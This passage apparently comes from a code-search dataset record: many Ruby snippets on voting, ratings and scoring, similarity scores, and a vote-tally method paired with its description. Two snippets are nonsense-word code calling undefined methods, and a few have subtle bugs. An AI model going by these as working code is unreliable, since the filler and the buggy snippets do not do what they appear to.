:offer_reward\n end", "def do_quick_approx_propagation\n story = @review.story\n if story.reviews_count < 2\n story.rating = @review.rating\n story.save(false)\n end\n end", "def update_reputation!\n reputation = 0\n cocktails.each do |cocktail|\n reputation += cocktail.vote_score if cocktail.vote_score\n end\n self.save\n end", "def vote_weights\n @vote_weights ||= offers.map(&:booking).compact.flat_map(&:votes_for).map(&:vote_weight)\n end", "def test_for_cheap\r\n if @agent_bargain_limit\r\n @ischeap = true if @price < @agent_bargain_limit\r\n else\r\n @ischeap = true if @price < @cheap\r\n end\r\n end", "def mood\n\t\tself.nausea < self.happiness ? mood = \"happy\" : mood = \"sad\"\n\tend", "def bp_odds_on_favorite\n\t\tfav_team=Teamseason.new\n\t\tfav_team.year=self.matchup_year\n\t\tfav_team.team=self.favorite \n\t\tunderdog_team=Teamseason.new\n\t\tunderdog_team.year=self.matchup_year\n\t\tunderdog_team.team=self.underdog\n\t\treturn fav_team.bp_ros_win_pct.to_f.odds_against_opponent(underdog_team.bp_ros_win_pct.to_f)\n\tend", "def vote \n\t\tsuggestion = Suggestion.find(suggestion_params[:id])\n\t\tuser_vote = UserVote.where({\n\t\t\t\t:user_hash => cookies[:user_hash],\n\t\t\t\t:suggestion_id => suggestion.id}).first\n\t\t\n\t\tif suggestion_params[:abort]\n\n\t\t\tnow = Time.now.to_i\n\t\t\tif now < (suggestion.voting_started_at + 55)\n\t\t\t\tsuggestion.voting_started_at = now - 55\n\t\t\tend\n \n else\n\n\t\t\tif user_vote # the user has already voted on this\n\t\t\t\tlogger.debug 'vote exists'\n\t\t\t\tif suggestion_params[:direction] == 'up' && user_vote.vote < 1\n\t\t\t\t\tuser_vote.vote += 1\n\t\t\t\t\tsuggestion.score += 1\n\t\t\t\t\t#user_reward(suggestion, 2)\n\t\t\t\telsif suggestion_params[:direction] == 'down' && user_vote.vote > -1\n\t\t\t\t\tuser_vote.vote -= 1\n\t\t\t\t\tsuggestion.score -= 1\n\t\t\t\t\t#user_reward(suggestion, -2)\n\t\t\t\tend\n\t\t\t\t\n\t\t\telse # the user votes on this for the first time\n\t\t\t\tlogger.debug 'new vote'\n\t\t\t\tif suggestion_params[:direction] == 'up' \n\t\t\t\t\tsuggestion.score += 1\n\t\t\t\t\t#user_reward(suggestion, 1)\n\t\t\t\t\tv = 1\n\t\t\t\telse \n\t\t\t\t\tsuggestion.score -= 1\n\t\t\t\t\t#user_reward(suggestion, -1)\n\t\t\t\t\tv = -1\n\t\t\t\tend\n\t\t\t\tuser_vote = UserVote.new(\n\t\t\t\t\t:user_hash => cookies[:user_hash],\n\t\t\t\t\t:suggestion_id => suggestion.id,\n\t\t\t\t\t:vote => v\n\t\t\t\t)\n\t\t\tend\n\t\t\t\n\t\t\tuser_vote.save\t\t\t\t\t\t\n\t\t\n\t\tend\t\t\t\n\t\t\n\n\t\tif suggestion_params[:top_boost]\n\t\t\t\tsuggestion.name2 = cookies[:user_name]\n\t\tend\n\t\t\t\t\t\t\t\t\n\t\tsuggestion.save\n\n\t\tPusher['chez_ois_chat'].trigger('update_suggestions_' + suggestion_params[:avatar_id], load_suggestions(suggestion_params[:avatar_id]))\n\t\t#Pusher['chez_ois_chat'].trigger('update_highscores', load_highscores)\n\t\trender json: suggestion\n\tend", "def hungry? ## a ? means answer is true or false\n @stuff_in_belly <= 2\n end", "def score\n self.up_votes - self.down_votes\n end", "def is_treasure(geonote)\n influence = 2\n popularity(geonote) >= base_popularity + influence * density(geonote)\n end", "def win_hp\n maxhp * features_sum(:hp_on_win)\n end", "def mood\n if nausea && happiness\n self.nausea > self.happiness ? \"sad\" : \"happy\" \n end\n end", "def update_rating\n @product.rating = @product.likes.size * 10\n @product.feature_groups.where(singles: false).each do |fg|\n fg.features.each do |f|\n up_rating = f.likes.where(up: true).size\n down_rating = f.likes.where(up: false).size\n @product.rating += up_rating - down_rating\n end\n end\n @product.feature_groups.where(singles: true).each do |singles|\n singles.features.each do |f|\n @product.rating += f.likes.where(up: true).size - f.likes.where(up: false).size\n end\n end\n # here we should somehow incorporate comments on the product into the rating\n @product.save\n end", "def sort_flavor\n equal = 0\n print \"What flavor do you prefer? \\n> \"\n choice = gets.chomp.downcase\n unless @recommendation == [] # to avoid an empty array going through an each do loop\n # print \"inital equal is #{equal.to_s} \\n\"\n @recommendation.each do |entry|\n # print entry.name\n entry.flavor.each do |flavor|\n if flavor == choice\n equal = equal + 1\n # print \"equal added if equal #{equal.to_s} \\n\"\n end\n end\n # print \"final equal after testing is #{equal.to_s} \\n\"\n if equal == 0\n # print \"final equal is #{equal.to_s}, so delete from recommendations\\n\"\n @recommendation.delete(entry)\n end\n equal = 0 # forget this part\n # print \"equal value is now back to #{equal.to_s}\"\n end\n end\n end", "def health_overviews=(value)\n @health_overviews = value\n end", "def hot_or_cold(number)\n # Hint: we'll ened to be comparing number to @number_to_guess\n end", "def tally\n up_votes - down_votes\n end", "def mark_for_hot_list\n if self.is_available_for_hot_list\n return self.update_attribute(:added_to_hot_list, Time.now)\n end\n return false\n end", "def hornlike(adet_mortification, hyperconscious)\n shadowiness_priceable(disinterment, pericellular_homogenization)\n counterbreastwork_knickerbockered()\n subspecialty_universalian(whereon, ciliated_papaverous, eurhodine)\n end", "def hand_rating\n OPS.map { |op|\n (method(op[1]).call()) ? op[0] : false\n }.find { |v| v }\n end", "def thumbs_up\n @rank += (1 * @wow_factor)\n end", "def switch_best\n Answer.transaction do\n self.question.answers.best.update_all(best: false) unless self.best?\n self.update!(best: !best)\n end \n end", "def feedback_score\n average_rating = self.average_rating\n if average_rating > 0 and average_rating <= 2.5\n average_rating = 1\n elsif average_rating > 2.5 and average_rating <= 5.0\n average_rating = 2\n elsif average_rating > 5.0 and average_rating <= 7.5\n average_rating = 3\n elsif average_rating > 7.5 and average_rating <= 10.0\n average_rating = 4\n end\n end", "def determine_upvotes(story, upvotes)\n if story.include?(\"cats\") || story.include?(\"Cats\")\n upvotes = upvotes * 5\n elsif story.include?(\"bacon\") || story.include?(\"Bacon\")\n upvotes = upvotes * 8\n elsif story.include?(\"food\") || story.include?(\"Food\")\n upvotes = upvotes * 3\n end\n puts upvotes\nend", "def score\n 3*@tally + 5*@strength + 2*@wealth + @food + 30*@monsters_killed\n end", "def hp_on_kill\n (maxhp * features_sum(:hp_on_kill)).to_i\n end", "def impureness(overwhipped)\n talpetate()\n wolfberry_equableness(lightman_episcleral, lacerta, anubing_parolable)\n verbenate_antimoniate_costodiaphragmatic(laudist, deepmouthed)\n end", "def rating\n (get_upvotes.size + 2)/(get_downvotes.size + 2)\n end", "def update_rating!\n # not using count because lates some votes might be something other than +/- 1\n self.positive_vote_count = votes.positive.sum(:value).abs\n self.negative_vote_count = votes.negative.sum(:value).abs\n self.rating = votes.sum(:value)\n save!\n end", "def as_hot\r\n @product = Product.find(params[:id])\r\n @saved = @product.update_attribute(\"is_hot\", params[:value])\r\n respond_to do |format|\r\n format.xml { render :xml => @saved }\r\n end\r\n end", "def solve\n @sorted_things.each do |thing|\n break if (config_weight + thing.weight) > @instance.weight_capacity\n @config[thing.index] = 1\n end\n @best_price = config_price\n @best_config = @config.dup\n end", "def hungry?\r\n @food <= 2\r\n end", "def update_p_best\r\n return unless @fitness > p_best_fitness\r\n\r\n @p_best_fitness = @fitness\r\n @p_best_position = @position\r\n end", "def vote\n elected = 0\n @output.each_index do |o|\n elected = @output[o] > @output[elected] ? o : elected\n end\n elected\n end", "def set_ponderated_best\n total_time = 0\n result_considered = 0\n result_collected = @best_results.count\n everage_time = 0\n\n # If no results, no action performed\n if result_collected > 0\n # If total best results collected >= (bests_to_be_ignored + max_results)\n # excludes first @bests_to_be_ignored results\n if result_collected >= (@bests_to_be_ignored + @max_results)\n @best_results.each_with_index do |mir, index|\n total_time += mir.get_timing_instance.to_hundreds if index >= @bests_to_be_ignored\n end\n result_considered = @max_results\n else\n @best_results.each do |mir|\n total_time += mir.get_timing_instance.to_hundreds\n end\n result_considered = result_collected\n end\n everage_time = (total_time / result_considered).round(0)\n end\n @ponderated_time = Timing.new(everage_time)\n end", "def tip_won\n @tip = Tip.find(params[:tip][:tip_id])\n @prediction = []\n @tip.predictions.each do |prediction|\n @prediction.push(prediction.result.betWon)\n end \n if @prediction.all?\n @tip.won = true\n elsif @prediction.include? false\n @tip.won = false\n else\n @tip.won = nil\n end\n @tip.save\n render json: { data: @tip }.to_json\n end", "def vote_up\n update_votes(1)\n end", "def threat_intelligence=(value)\n @threat_intelligence = value\n end", "def set_relevancy!\n # calculate total of ratings\n ratings = rating.count_attributes\n ratings.each do |key,value|\n ratings[key] = value * SolutionRelevancy.send(\"rating_value_#{key}\")\n end\n total = ratings.values.inject(0) { |sum, count| sum + count }\n \n # calculate total of views\n total += views * SolutionRelevancy.view_value\n \n # calculate updates\n total += updates * SolutionRelevancy.update_value\n \n # total # of items that are included in the updates\n num_of_items = total_votes + views + updates\n\n # set the relevancy\n settings.update_attribute('relevancy',num_of_items > 0 ? total/num_of_items : AppConstants::DEFAULT_SOLUTION_RELEVANCY) \n end", "def votes_ranking_for(opinion)\n ranking_for(opinion, opinion_votes_count: :desc)\n end", "def score_for( kinployee )\n @kinployment.preferred_availability <= kinployee.availability ?\n 1.0 :\n 0.0\n end", "def overall_rating\n\t\ttotal_score = 0\n\t\ttotal_score += self.setting \n\t\ttotal_score += self.hotness\n\t\ttotal_score += self.originality\n\t\ttotal_score += self.style\n\t\ttotal_score += self.attitude\n\t\treturn total_score / 5\n\tend", "def initial_classification\n self.url.to_s.strip!\n\n # per-user ranking\n bayes = self.user.bayes\n path_status = bayes.classify(self.path).downcase rescue 'down'\n host_status = bayes.classify(self.host).downcase rescue 'down'\n url_status = bayes.classify(self.url).downcase rescue 'down'\n\n # alt per-user ranking\n #bayes_alt = self.user.bayes_alt\n #path_status2 = bayes_alt.classify(self.path).downcase rescue 'down'\n #host_status2 = bayes_alt.classify(self.host).downcase rescue 'down'\n #url_status2 = bayes_alt.classify(self.url).downcase rescue 'down'\n\n # global ranking\n GlobalBayes.instance.classify(self.path).downcase rescue 'down'\n GlobalBayes.instance.classify(self.host).downcase rescue 'down'\n GlobalBayes.instance.classify(self.url).downcase rescue 'down'\n\n # save rankings\n self.good_host = true if host_status == 'up'\n self.good_path = true if path_status == 'up'\n self.good_path = false if self.path == '/' # we much prefer deep links\n\n self.rating = bayes.classifications(self.url).sort{ |k,v| v[0].to_i }.reverse.first[1].to_f rescue false\n self.rating = false if self.rating.to_s == 'Infinity'\n\n # save alt rankings\n #self.good_host2 = true if host_status2 == 'up'\n #self.good_path2 = true if path_status2 == 'up'\n\n #self.rating2 = bayes_alt.cat_scores(self.url)[0][1].to_f rescue false\n\n # reinforce good urls\n if self.good_host? && self.good_path?\n self.user.bayes.train(:Up, self.host)\n self.user.bayes.train(:Up, self.path)\n elsif self.good_path?\n self.user.bayes.train(:Up, self.path)\n self.user.bayes.train(:Up, self.host)\n elsif self.good_host?\n self.user.bayes.train(:Up, self.host)\n else\n self.user.bayes.train(:Down, self.host)\n self.user.bayes.train(:Down, self.path)\n end\n\n if (self.good_host? && self.good_path?) || self.good_path?\n self.good = true\n else\n self.good = false\n end\n\n self.save\n end", "def rating\n return 0 if total_votes == 0\n (100 * self.yeses) / total_votes\n end", "def suggestions(options = {})\n if user.likes_count < self.class.config.likes_needed_for_custom\n logger.debug(\"Loading trending hot or not suggestions\")\n #XXX-hot-or-not this needs to filter out stuff we've already liked\n ids = Listing.recently_liked(self.class.config.trending.window,\n per: self.class.config.trending.limit,\n exclude_liked_by_users: user.id)\n else\n logger.debug(\"Loading clustered hot or not suggestions\")\n # probably need to tune the number of choices to return\n ids = Pyramid::User.hot_or_not_suggestions(user.id)\n end\n Listing.visible(id: ids, exclude_disliked_by: user)\n end", "def rating_formula\n time = Time.new\n age = ((time - self.created_at)/60/60/24).to_i\n if upvotes != nil\n rating = upvotes + age * (-0.5)\n else \n rating = age * (-0.5)\n end\n rating\n end", "def vote\n if user_signed_in?\n @idea = Idea.find(params[:idea_id])\n vote = params[:vote]\n @ideavote = IdeaVote.where(:user_id => current_user.id, :idea_id => params[:idea_id]);\n \n # back out the old vote\n vote_changed = false\n had_vote = false\n \n if @ideavote.count > 0\n had_vote = true\n if @ideavote[0].vote != vote\n vote_changed = true\n end\n \n if @ideavote[0].vote == \"yae\"\n @idea.yae_votes-=1\n else \n @idea.nay_votes-=1\n end\n @ideavote[0].destroy\n end\n \n # apply the new vote\n if !had_vote || vote_changed\n @newideavote = IdeaVote.new()\n @newideavote.user_id = current_user.id\n @newideavote.idea_id = @idea.id\n @newideavote.vote = vote\n @newideavote.save \n if vote == \"yae\"\n @idea.yae_votes+=1\n else \n @idea.nay_votes+=1\n end\n end\n \n @idea.rank = @idea.calculate_rank\n @idea.save\n \n respond_to do |format|\n format.json { \n render :json => @idea.to_json(:methods => [:vote_tally, :category_name, :user_alias]) \n }\n end\n \n end\n end", "def up_votes\n RedisVoteable.redis.scard prefixed(\"#{class_key(self)}:#{UP_VOTES}\")\n end", "def boost\n 1.0 #self.rating / 2.0\n end", "def recommendations\n check_preference_setup \n check_last_played_time\n add_personality_recommendations\n\n @recommendations\n end", "def promote!( instance )\n # STDERR.puts \"Promoting: old weights => #{@model.weights.join(\",\")}\"\n # For every feature/attribute present, promote the corresponding weight\n instance.each_index{ |ii| @model.weights[ii] *= @alpha if instance[ii] }\n #STDERR.puts \"\\tnew weights => #{@model.weights.join(\",\")}\"\n end", "def update_feedback(guess)\n\t\tguess.split('').each do |guess_letter|\n\t\t\t@feedback.each do |target|\n\t\t\t\tif target[0] == guess_letter\n\t\t\t\t\ttarget[1] = true\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\tall_true_check = true\n\t\t@feedback.each do |x|\n\t\t\tif !x[1]\n\t\t\t\tall_true_check = false\n\t\t\tend\n\t\tend\n\t\tif all_true_check\n\t\t\t@win = true\n\t\t\t@is_over = true\n\t\tend\n\tend", "def upvotes_size\n\t\treviews.where(satisfied: true).size\n\tend", "def preferences\n [\n {fish: 15, leisure: 1},\n {fish: 15, leisure: 0},\n {fish: 14, leisure: 0},\n {fish: 13, leisure: 0},\n {fish: 12, leisure: 0},\n {fish: 11, leisure: 0},\n {fish: 10, leisure: 0},\n {fish: 9, leisure: 0},\n {fish: 8, leisure: 0},\n {fish: 7, leisure: 0},\n {fish: 6, leisure: 0},\n {fish: 5, leisure: 0},\n {fish: 4, leisure: 0},\n {fish: 3, leisure: 0},\n {fish: 2, leisure: 0},\n {fish: 1, leisure: 0},\n {fish: 0, leisure: 0}\n ]\n end", "def calculate_favorite_tweeter\n # Count each fav as 1 point\n scores = Hash[most_faved]\n scores.default = 0\n\n # Count each RT as 1.5 points\n most_retweeted.each { |screen_name, rts| scores[screen_name] += (rts * 1.5) }\n\n winning_screen_name, winning_score = scores.max_by { |_, score| score }\n\n {\n :screen_name => winning_screen_name,\n :favs_count => Hash[most_faved][winning_screen_name],\n :retweets_count => Hash[most_retweeted][winning_screen_name],\n :score => winning_score\n }\n end", "def vote_up\n 15\n end", "def create_recommended_to_sets\n Recommendable.recommendable_classes.each do |klass|\n likes_for(klass).each {|like| Recommendable.redis.sadd likes_set_for(klass), like.likeable_id }\n dislikes_for(klass).each {|dislike| Recommendable.redis.sadd dislikes_set_for(klass), dislike.dislikeable_id }\n end\n end", "def mood\n if self.happiness && self.nausea\n self.happiness > self.nausea ? \"happy\" : \"sad\"\n end\n end", "def bayesian_rank\n\n #this is an ad hoc value, which basically represents the minimum number of \n #votes we think an Idea should have before it's even considered relevant. \n #eventually this value will come from the admin screen\n @magic_number_of_votes = 0.5\n\n @return_value = ((@magic_number_of_votes*Idea.average_rank_of_all_ideas.to_f)+(self.count_of_users_ranked*self.average_rank.to_f))/(@magic_number_of_votes+self.count_of_users_ranked)\n\n if @return_value == 0\n return 10\n else\n return @return_value.round(2)\n end\n\nend", "def vote(value)\n args = self.state_properties\n args[:vote] += value[0]\n self.state_properties=args\n end", "def behavior_hungry\n @world.food.each do |food|\n if distance_from_point(food.position) < (food.quantity + ROID_SIZE*5)\n @delta -= self.position - food.position\n end \n if distance_from_point(food.position) <= food.quantity + 5\n eat food\n end \n end \n end", "def mark_winner\n winning_team = teams.reject{|team| team.goals < 10}.sort_by(&:goals).last\n winning_team.is_winner = true unless winning_team.nil?\n self.goals_count = teams.collect(&:goals).inject(&:+)\n\n if rating_pending? && !Game.before(self).with_rating_pending.exists?\n set_ratings\n end\n return true\n end", "def can_contest_rating_issues?\n true\n end", "def can_contest_rating_issues?\n true\n end", "def sort_weight\n if !ec? && (excellent_schools_grade == 'N/A' || excellent_schools_grade == 'New') && recommended?\n # Put Recommended schools that don't have a grade, between C+ and C schools\n 49.5\n else\n school_type_weight\n end\n end", "def recommendation()\n @type.recommendation(self)\n end", "def calculate_tallied_votes\n self.tallied_votes = upvotes - downvotes\n self.save\n end", "def mood\n if self.happiness < self.nausea\n \"sad\"\n else\n \"happy\"\n end\n end", "def select_top_five\n ed1_ed2_merged = @ed1.merge(@ed2)\n top5_words = ed1_ed2_merged.sort_by{|k,v| -v}.first 5\n top5_words = Hash[*top5_words.flatten]\n final_list = Hash.new{}\n # If the typed_word isnt in the dictionary, replace 5th suggestion by typed_word \n if !working_dictionary.has_key?( @typed_name )\n top5_words.each_with_index { |(k,v),index|\n if index == (top5_words.length-1)\n final_list[@typed_name] = v*0.5\n else\n final_list[k] = v\n end\n }\n top5_words = final_list\n end\n @suggestion = top5_words\n return top5_words #Hash of words and corresponding score \n end", "def recommendation=(value)\n @recommendation = value\n end", "def mood\n if self.nausea > self.happiness\n \"sad\"\n else\n \"happy\"\n end\n end", "def hottest_comment\n unless comments.empty?\n comments.map{|c| [c,c.votes.count]}.sort{|x,y| y[1] <=> x[1]}.first[0]\n end\nend", "def move_kitty_to_hand\n self\n .update_in(:hands, priority) {|h| h + kitty }\n .put(:kitty, [])\n end", "def tbs_tactic_rate\n tactic = GTBS_Tactics::All_AI_Tactics[ (battler.ai_tactic or 'default') ]\n value = 0\n if @effect_preview.keys.size == 0\n self.rating = value\n return\n end\n \n for target, effect in @effect_preview\n hit_chance, dmg_eval, mp, rate_states, rate_counter = effect\n damage, ref, ally = dmg_eval\n damage_frac = damage / ref.to_f\n dmg_rate = (mp ? tactic.mp_damage : tactic.hp_damage) \n target_rate = [0.01, ((subject.view_range.to_f/$game_map.distance(subject, target)) * target.tgr)].max\n \n if ally\n pained_ally = (target.hp / target.mhp.to_f < 0.33) ? 1.0 + tactic.team_rate : 1.0\n death_unlike = (damage_frac > 0.83) ? [damage_frac*(1.0+tactic.team_rate), 1.0].max : 1.0\n dmg_rate = tactic.hp_heal if damage < 0\n value -= (hit_chance / 100.0) * damage_frac * dmg_rate * death_unlike * pained_ally * target_rate\n value += rate_states * tactic.state * tactic.team_rate * pained_ally * target_rate\n else\n n_ally = 1.0\n #if tactic team enabled, add value if target can be attacked by other allies\n if tactic.team\n for bat in subject.friends\n if @other_bat_attack[bat] & target.positions != []\n n_ally += tactic.team_rate\n end\n end\n end\n if tactic.force_approach\n value += 10\n end\n \n #check 83% because variance add 20%\n death_like = (damage_frac > 0.83) ? [damage_frac*tactic.death_like, 1.0].max : 1.0\n value += n_ally * (hit_chance / 100.0 * damage / ref.to_f * dmg_rate) * death_like * target_rate\n value += rate_states * tactic.state * target_rate\n #don't care of counter if unit will die\n rate_counter *= (1.0 - damage_frac) / 0.17 if (damage_frac > 0.83)\n end\n value -= rate_counter * tactic.counter\n value -= tactic.mp_save * battler.skill_mp_cost(item) / [battler.mmp.to_f, 1.0].max if skill?\n end\n \n #modify rating\n if value > 0\n unless tactic.team \n value += (@move_pos == battler.pos) ? tactic.position : -tactic.position / 4 * rate_pos_safe\n end\n value = (value * ai_rating)\n self.rating += (value * tactic.predictable / 100).to_i\n else\n self.rating = 0\n end\n end", "def likings(force = false)\n if force || @likings.nil?\n @likings = flaggings.all(:conditions => { :reason => 'like' })\n end\n @likings\n end", "def liked_by_count\n Recommendable.redis.scard(Recommendable::Helpers::RedisKeyMapper.liked_by_set_for(self.class, id))\n end", "def calculate_rating!\n now = Time.now.to_i\n \n sums = []\n \n properties = {}\n properties[:followers] = self.store.followers.map(&:created_at) unless store.nil?\n properties[:favorites] = self.favorites.map(&:created_at)\n properties[:orders] = self.orders.map(&:created_at)\n properties.each do |k, v|\n weight = self.properties_rating_weight[k]\n raise(ArgumentError) unless v.is_a?(Array)\n raise(ArgumentError) if weight.nil?\n \n timed = properties[k].map do |created_at|\n # (difference in hours / 1 month) * maximum weight for freshness\n distance = [ now - created_at.to_i, 1 ].max\n quotient = distance / self.rating_time_scale\n quotient * self.now_rating_weight\n end\n \n # (sum of freshness points) * weight for a given property\n sums << timed.sum * weight\n end\n\n self.update_attribute(:rated_at, Time.now)\n self.update_attribute(:rating, sums.sum)\n true\n end", "def adjust_weight(user)\n profiles = find_recipe_profiles(user)\n weighted_user_tastes =[]\n user_taste_hash = Hash.new\n user_taste_hash[:bitter] =0\n user_taste_hash[:earthy] =0\n user_taste_hash[:grassy] =0\n user_taste_hash[:licorice] = 0\n user_taste_hash[:nutty] = 0\n user_taste_hash[:peppery] = 0\n user_taste_hash[:sour] =0\n user_taste_hash[:spicy] = 0\n user_taste_hash[:sweet] = 0\n user_taste_hash[:woody] = 0\n profiles.each do |profile|\n user_taste_hash[:bitter] += profile.bitter\n user_taste_hash[:earthy] += profile.earthy\n user_taste_hash[:grassy] += profile.grassy\n user_taste_hash[:licorice] += profile.licorice\n user_taste_hash[:nutty] += profile.nutty\n user_taste_hash[:peppery] += profile.peppery\n user_taste_hash[:sour] += profile.sour\n user_taste_hash[:spicy] += profile.spicy\n user_taste_hash[:sweet] += profile.sweet\n user_taste_hash[:woody] += profile.woody\n end\n return user_taste_hash\n end", "def force_rating\n rating = 0\n # Force rating is 1 if either of the 3 specializations is a force tree.\n if self.specialization_1\n tree = TalentTree.find(self.specialization_1)\n if tree.force_tree\n rating = 1\n end\n end\n if self.specialization_2\n tree = TalentTree.find(self.specialization_2)\n if tree.force_tree\n rating = 1\n end\n end\n if self.specialization_3\n tree = TalentTree.find(self.specialization_3)\n if tree.force_tree\n rating = 1\n end\n end\n\n # Add one rank for each Force Rating talent.\n CharacterExperienceCost.where(:character_id => self.id, :resource_type => 'talent').each do |talent|\n if talent.resource_id && talent.resource_id > 0 && Talent.find(talent.resource_id).name == \"Force Rating\"\n rating += 1\n end\n end\n\n rating\n end", "def better_attack_stat(pokemon)\n if pokemon.base_stats[:attack] >= pokemon.base_stats[:special_attack]\n ['attack', pokemon.base_stats[:attack]]\n else\n ['special_attack', pokemon.base_stats[:special_attack]]\n end\n end", "def score\n \tself.get_upvotes.size - self.get_downvotes.size\n end" ]
[ "0.6177182", "0.608297", "0.5409675", "0.533342", "0.5126721", "0.50411904", "0.50343305", "0.50012684", "0.49902043", "0.49870187", "0.49532056", "0.49509266", "0.49352682", "0.4889389", "0.48779643", "0.48779643", "0.4865043", "0.4858861", "0.4848723", "0.48413908", "0.48297602", "0.4801545", "0.479851", "0.4787686", "0.478749", "0.47825363", "0.47807097", "0.47793776", "0.47704703", "0.4769475", "0.4757162", "0.47498247", "0.47282717", "0.47263193", "0.47258168", "0.4724345", "0.472228", "0.4713036", "0.47127694", "0.47125903", "0.47054222", "0.47017622", "0.47004175", "0.4692064", "0.46882138", "0.468293", "0.46759468", "0.46728194", "0.46725976", "0.4671991", "0.46665567", "0.46547604", "0.46507564", "0.46482494", "0.46455353", "0.46399164", "0.463968", "0.4637482", "0.4631033", "0.4630831", "0.46303004", "0.46288544", "0.46278608", "0.4626234", "0.4626051", "0.46240413", "0.46234742", "0.46224", "0.46211848", "0.46169284", "0.46156278", "0.46146965", "0.4614421", "0.46111917", "0.4610554", "0.4602199", "0.4599275", "0.45991445", "0.45814914", "0.45762336", "0.45614865", "0.45613006", "0.45613006", "0.45600677", "0.45489395", "0.45458028", "0.45420867", "0.45402667", "0.45392168", "0.45332596", "0.45314375", "0.45248872", "0.45245486", "0.45214114", "0.451906", "0.45171475", "0.4514988", "0.45119545", "0.45097995", "0.45083448" ]
0.81946987
0
sets the idea's vote_tally field to be equal to the number upvotes minus the number of downvotes it has
def set_vote_tally! self.vote_tally = self.get_upvotes.size - self.get_downvotes.size end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def tally\n up_votes - down_votes\n end", "def calculate_tallied_votes\n self.tallied_votes = upvotes - downvotes\n self.save\n end", "def get_vote_tally\n return self.get_upvotes.size - self.get_downvotes.size\n end", "def votes\n up_votes - down_votes\n end", "def total_votes\n self.up - self.down\n end", "def vote_up\n 15\n end", "def score\n self.up_votes - self.down_votes\n end", "def vote_down\n 100\n end", "def votes_count\n upvotes + downvotes\n end", "def total_votes\n up_votes + down_votes\n end", "def vote_up\n update_votes(1)\n end", "def upvote_count\n self.up_retweet_count\n end", "def vote_down\n update_votes(-1)\n end", "def decrease_vote_count\n \tcount = voteable.votes_count\n \tcount = count - 1\n \tvoteable.update_attributes(votes_count: count)\n end", "def total_votes\n self.get_upvotes.size - self.get_downvotes.size\n end", "def upvote_question\n self.update(votes_count: self.votes_count + 1)\n end", "def total_down_votes\n self.reload\n self.votes.are(:down).count\n end", "def total_down_votes\n self.reload\n self.votes.are(:down).count\n end", "def total_up_votes\n self.reload\n self.votes.are(:up).count\n end", "def total_up_votes\n self.reload\n self.votes.are(:up).count\n end", "def up_down_votes\n Vote.seperate_votes(self.votes)\n end", "def downvotes_count\n topic_votes.where(value: -1).sum(:value) * -1\n end", "def upvote\n\t\tvotes = self.nov\n\t\tupdate(nov: votes +1)\n\tend", "def upvote\n self.votes += 1\n save\n end", "def upvote_count\n self.get_upvotes.size\n end", "def undo_vote\n vote(0)\n end", "def plusminus\n respond_to?(:plusminus_tally) ? plusminus_tally : (votes_for - votes_against)\n end", "def votes_left\n vote_total = 10\n # @submissions = Submission.find_all_by_story_id(params[:id])\n @submissions.each do |submission|\n vote_total -= submission.vote\n end\n vote_total\nend", "def score\n \tself.get_upvotes.size - self.get_downvotes.size\n end", "def score\n \tself.get_upvotes.size - self.get_downvotes.size\n\tend", "def plusminus\n votes_for - votes_against\n end", "def down_votes_count(voting_field = \"votes\")\n eval(voting_field).try(:[], 'down_count') || 0\n end", "def down_votes\n votes.where(value: -1).count\n end", "def down_votes\n votes.where(value: -1).count\n end", "def vote up\n end", "def add_review_votes_to_review\n # increment the count of votes regardless of stance\n if self.review.helpful_count.nil?\n self.review.helpful_count = 1\n else\n self.review.helpful_count += 1\n end\n\n # adjust the score to incorporate the up-vote, if it's an up-vote\n if self.helpful?\n if self.review.helpful_score.nil?\n self.review.helpful_score = 1\n else\n self.review.helpful_score += 1\n end\n end\n \n self.review.save!\n end", "def up_votes\n\t#\tself.votes.where(value: 1).count\n\t\tvotes.where(value: 1).count\n\tend", "def upvote\n\t\t\t@review = Review.find(params[:review_id])\n\t\t\t@review.update_attribute(:upvotes, (@review.upvotes + 1))\n\t\tend", "def total_upvotes\n \tself.shout_votes.where(upvote: true).length - self.shout_votes.where(upvote: false).length\n end", "def up_votes\n votes.where(value: 1).count\n end", "def up_votes\n votes.where(value: 1).count\n end", "def up_votes\n votes.where(value: 1).count\n end", "def up_votes\n votes.where(value: 1).count\n end", "def upvotes\n votes.where(Vote.arel_table[:weight].gt(0)).sum(:weight)\n end", "def upvotes\n @ups\n end", "def upvotes\n @ups\n end", "def upvotes\n votes.sum(:upvote)\n end", "def rating\n (get_upvotes.size + 2)/(get_downvotes.size + 2)\n end", "def score\n\t\tupvotes.count\n\tend", "def up_votes_count(voting_field = \"votes\")\n eval(voting_field).try(:[], 'up_count') || 0\n end", "def downvotes\n notes.select(&:downvote?).size\n end", "def downvote\n @post = Post.find(params[:id])\n @post_count = Post.count\n @vote = Vote.new(user_id: session[:id], post_id: @post.id, score: -1)\n if @vote.save\n @post.update_attribute(:respect, @post.respect - 1)\n flash[:notice] = 'Post downvoted successfully'\n end\n redirect_to(action: 'index', topic_id: @topic.id)\n end", "def voted\n new_total = self.votes + 1\n return self.update(votes: new_total)\n end", "def up_votes # We'll want a way to see only \"up\" or \"down\" votes\n self.votes.where(value: 1).count\n end", "def total_down_votes_count(voting_field = \"votes\")\n eval(voting_field).try(:[], 'total_down_count') || 0\n end", "def vote_count\n self.votes.count\n end", "def downvotes\n votes.where(Vote.arel_table[:weight].lt(0)).sum(:weight).abs\n end", "def upvotes_index\n self.get_upvotes.count\n end", "def value\n return self.upvote ? 1 : -1\n end", "def votes\n scenario_answers.count\n end", "def set_hotness!\n preferred_weight = self.preferred ? PREFERRED_MAGNITUDE : 0\n vote_weight = vote_tally + preferred_weight\n\n newness = self.created_at.to_f || Time.now.to_f\n sign = vote_weight < 0 ? -1 : 1\n upvote_magnitude = [ vote_weight.abs, 1.1 ].max\n order = Math.log upvote_magnitude, 10\n\n self.hotness = sign * order + newness / 45000\n end", "def review_comment_downvote_count\n number_of_downvotes = 0\n self.reviews.each do |review|\n votes = Vote.where(votable_type: \"Review\", votable_id: review.id, value: -1).count || 0\n number_of_downvotes += votes\n end\n number_of_downvotes\n end", "def repute_vote_up(voter)\n Reputation.handle(self, :vote_up, self.person, :sender => voter, :tier => self.tier)\n end", "def downvote_post_i(params)\n db = SQLite3::Database.new(\"db/database.db\")\n db.results_as_hash = true\n\n current_upvotes = db.execute(\"SELECT posts.Upvotes FROM posts WHERE postId = ?\", params[\"postId\"])\n\n new_upvotes = current_upvotes[0][\"Upvotes\"].to_i - 1\n\n db.execute(\"UPDATE posts SET Upvotes = ? WHERE postId = ?\", new_upvotes, params[\"postId\"])\n end", "def upvotes_received\n reports.inject(0){|sum, report| sum + report.get_vote_difference }\n end", "def 